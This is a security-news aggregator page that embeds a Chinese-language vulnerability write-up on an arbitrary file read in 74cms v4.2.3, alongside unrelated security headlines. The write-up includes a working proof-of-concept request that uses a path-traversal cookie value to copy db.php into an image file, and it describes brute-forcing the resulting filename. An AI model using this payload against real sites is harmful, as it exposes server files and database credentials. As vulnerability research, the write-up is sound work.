Aggregator
Who Should the CISO Report To?
July 2017 security update release
July 2017 security update release
DNS协议
梳理 | 数据清洗与特征处理流程
QEMU-KVM中的PIO处理
Phishing for Information, Part 1: How Phishers Bait Their Hooks With Information You Volunteer
74cms v4.2.3前台任意文件读取
因为一直忙学校的事情,很久没发文章了,今天想起来我还有个博客,就随便发一篇吧。
漏洞描述骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。
74cms在v4.2.3版本中存在前台任意文件读取漏洞,攻击者可以利用此漏洞读取服务器上的敏感文件。
漏洞分析在/Application/Home/Controller/MembersController.class.php中的第219行:
if('bind' == I('post.org','','trim') && cookie('members_bind_info')){ $user_bind_info = object_to_array(cookie('members_bind_info')); $user_bind_info['uid'] = $data['uid']; $oauth = new \Common\qscmslib\oauth($user_bind_info['type']); $oauth->bindUser($user_bind_info); $this->_save_avatar($user_bind_info['temp_avatar'],$data['uid']);//临时头像转换 cookie('members_bind_info', NULL);//清理绑定COOKIE }
这里进入if的条件十分简单,就是我们post的org等于bind,以及我们拥有一个members_bind_info的cookie就好了,然后我们主要是看这个if条件里面的操作:
首先将我们的members_bind_info这个cookie调用object_to_array函数进行了处理,我们看一下这个函数:
在/Application/Common/Common/function.php中第278行:
function object_to_array($obj) { $_arr = is_object($obj) ? get_object_vars($obj) : $obj; foreach ($_arr as $key => $val) { $val = (is_array($val) || is_object($val)) ? object_to_array($val) : $val; $arr[$key] = $val; } return $arr; }就是将我们的cookie内容转换成数组,转换成数组之后赋值给了$user_bind_info这个变量,然后将$data['uid']赋值给了$user_bind_info['uid'],然后实例化了一个oauth类,并且将$user_bind_info['type']传递给了构造函数,我们看一下这个类:
在/Application/Common/qscmslib/oauth.class.php中:
class oauth { private $_type = ''; private $_setting = array(); private $_error = ''; public function __construct($name) { $this->_type = $name ? $name : C('qscms_oauth_default'); //加载登陆接口配置 if(false === $oauth_list = F('oauth_list')){ $oauth_list = D('Oauth')->oauth_cache(); } $this->_setting = unserialize($oauth_list[$this->_type]['config']); //导入接口文件 include_once QSCMSLIB_PATH . 'oauth/' . $this->_type . '/' . $this->_type . '.php'; $om_class = $this->_type . '_oauth'; $this->_om = new $om_class($this->_setting); }可以看到,这里的$this->_type就是我们传递进来的构造函数的参数$name,这里就包含进一个PHP文件,然后实例化这个文件里的类, 我们找一下,在/Application/Common/qscmslib/oauth/下有三个文件夹,分别是qq,sina,taobao,这里我选择qq吧,也就是说我们的$user_bind_info['type']的值是QQ。
然后又将$user_bind_info['temp_avatar']以及$data['uid']带入到了_save_avatar函数中:
$this->_save_avatar($user_bind_info['temp_avatar'],$data['uid']);//临时头像转换我们跟踪一下该函数:
protected function _save_avatar($avatar,$uid){ if(!$avatar) return false; $path = C('qscms_attach_path').'avatar/temp/'.$avatar; $image = new \Common\ORG\ThinkImage(); $date = date('ym/d/'); $save_avatar=C('qscms_attach_path').'avatar/'.$date;//图片存储路径 if(!is_dir($save_avatar)) mkdir($save_avatar,0777,true); file_put_contents('balisong.txt',time()); $savePicName = md5($uid.time()).".jpg"; $filename = $save_avatar.$savePicName; $size = explode(',',C('qscms_avatar_size')); copy($path, $filename); foreach ($size as $val) { $image->open($path)->thumb($val,$val,3)->save("{$filename}._{$val}x{$val}.jpg"); } M('Members')->where(array('uid'=>$uid))->setfield('avatars',$date.$savePicName); @unlink($path); }可以看到将$avatar拼接到了$path变量中,然后将$path copy到了$filename去:
copy($path, $filename);那么这个$filename是啥,它的文件名命名规则为:
$savePicName = md5($uid.time()).".jpg";也就是说是我们传入的第二个参数$data['uid']+time(),然后md5之后得到的值作为文件名,而我们拷贝过去,形成的是一个jpg文件。
那么这里就存在一个任意文件读取的操作了,首先我们的$avatar是从cookie里面取出来的,并且没有进行过滤,也没有限制后缀,直接拼接到了路径中,导致我们可以通过引用../这种跳目录的方式来让这个文件改变,并且copy之后的文件是个图片文件,众所周知,图片文件我们是可以直接下载下来的,所以我们可以控制源文件,然后可以知道目的文件的路径以及名称,那么就可以达到一个任意文件下载的效果。
但是这里有两个问题是我们需要解决的
- 如何伪造cookie
- 如何知道复制后的文件路径(包括文件名)
第一个问题我们需要知道cookie这个函数到底是怎样工作的,我们看一下定义:
在/ThinkPHP/Common/functions.php中第1356行:
function cookie($name='', $value='', $option=null) { // 默认设置 $config = array( 'prefix' => C('COOKIE_PREFIX'), // cookie 名称前缀 'expire' => C('COOKIE_EXPIRE'), // cookie 保存时间 'path' => C('COOKIE_PATH'), // cookie 保存路径 'domain' => C('COOKIE_DOMAIN'), // cookie 有效域名 'secure' => C('COOKIE_SECURE'), // cookie 启用安全传输 'httponly' => C('COOKIE_HTTPONLY'), // httponly设置 ); // 参数设置(会覆盖黙认设置) if (!is_null($option)) { if (is_numeric($option)) $option = array('expire' => $option); elseif (is_string($option)) parse_str($option, $option); $config = array_merge($config, array_change_key_case($option)); } if(!empty($config['httponly'])){ ini_set("session.cookie_httponly", 1); } // 清除指定前缀的所有cookie if (is_null($name)) { if (empty($_COOKIE)) return null; // 要删除的cookie前缀,不指定则删除config设置的指定前缀 $prefix = empty($value) ? $config['prefix'] : $value; if (!empty($prefix)) {// 如果前缀为空字符串将不作处理直接返回 foreach ($_COOKIE as $key => $val) { if (0 === stripos($key, $prefix)) { setcookie($key, '', time() - 3600, $config['path'], $config['domain'],$config['secure'],$config['httponly']); unset($_COOKIE[$key]); } } } return null; }elseif('' === $name){ // 获取全部的cookie return $_COOKIE; } $name = $config['prefix'] . str_replace('.', '_', $name); if ('' === $value) { if(isset($_COOKIE[$name])){ $value = $_COOKIE[$name]; if(0===strpos($value,'think:')){ $value = substr($value,6); return array_map('urldecode',json_decode(MAGIC_QUOTES_GPC?stripslashes($value):$value,true)); }else{ return $value; } }else{ return null; }这里涉及到一个cookie前缀的问题,我们必须要知道这个cookie前缀,但是程序默认是没有设置cookie前缀的,在/ThinkPHP/Conf/convention.php中第36行我们可以看到:
'COOKIE_PREFIX' => '', // Cookie前缀 避免冲突那么这就解决了cookie伪造的问题。
然后接下里就是复制后的文件路径的问题,文件夹都还是比较好找,是在data\upload\avatar\年月\日
目录下。
那么文件名如何获得,文件名上文提到了额是$data['uid']+time()。
首先我们来解决time(),time很简单,直接注册登录一个账号,然后查看头像处的源代码,png?后面那一串就是time(),如图:
好,time()我们能够得到一个大概了(误差不超过几秒),到时候稍微一爆破就搞定,接下来就是$data['uid']了,那么这个$data['uid']我们可以控制么?
答案是肯定的。
我们可以在cookie中指定uid来让我们的uid固定,但是为了不防止跟表里的用户冲突(主键唯一),我们将uid设大一点,比如说6666666。
漏洞证明首先让文件先拷贝(这里我们拷贝db.php):
http://localhost/74cms42/index.php?m=&c=members&a=register POST: ajax=1®_type=2&utype=2&org=bind&ucenter=bind COOKIE: members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php members_bind_info[type]=qq members_uc_info[password]=balisong members_uc_info[uid]=666666 members_uc_info[username]=balisong这里要加入五个cookie,并且都是以数组的形式的cookie。
其实到这一步文件已经复制好了,我们可以去/data/upload/avatar/年月/日文件夹下去看一下:
比如我利用的时候是2017年6月28日,那么文件夹如下:
data\upload\avatar\1706\28
可以看到,已经有一张图片了:
我们打开看一下这张图片的内容,也确实是db.php的内容。
那么我们如何去url访问到这张图片。
首先我们uid已经固定好了,是666666了,然后我们得到time(),如图:
我这里是1498581147。
然后我们是提前查看的这个time再打的payload,
那么payload的time比这个time是要多的,但是控制在300秒以内。
我们爆破一下就能得到文件名,生成一下字典,然后载入burpsuite开始跑。
得到的是md5(666666.1498581227)==6656852797209251cdfea25fd3b25b96
与上文文件名吻合。我们访问一下:
http://localhost/74cms42/data/upload/avatar/1706/28/6656852797209251cdfea25fd3b25b96.jpg
然后将图像下载保存就可以看到db.php的内容了。
python正则表达式记录 - magic_zero
SQLmap源码分析之框架初始化(一) - magic_zero
The Six Most Common Audit Failures
Petya is Here, And It’s Taking Cues from WannaCry
Just over a month after the infamous WannaCry attack, a new worldwide cyberattack is here again. Its name is Petya, or Petwrap, it’s...
The post Petya is Here, And It’s Taking Cues from WannaCry appeared first on McAfee Blog.
NSA, CIA Leaks Provide a Roadmap to Stealthier, Faster, More Powerful Malware Like SambaCry and NotPetya
T00LS帖子正文XSS
Achieving Multi-Dimensional Security Through Information Modeling—The Master Model Part 2
Verisign Named to the Online Trust Alliance’s 2017 Audit and Honor Roll
Verisign is pleased to announce that we qualified for the Online Trust Alliance’s (OTA) 2017 Honor Roll for showing a commitment to best practices in security, privacy and consumer protection. This is the fifth consecutive year that Verisign has received this honor. The OTA is an initiative within the Internet Society (ISOC) with the mission […]
The post Verisign Named to the Online Trust Alliance’s 2017 Audit and Honor Roll appeared first on Verisign Blog.
Russian Hackers, Face to Face
How to Build Virtual Python Environment
Auckland Institute of Directors
This panel discussion on cyber risk covering all facets of the cyber threat together with recommendations on how to minimise an attack through good strategic planning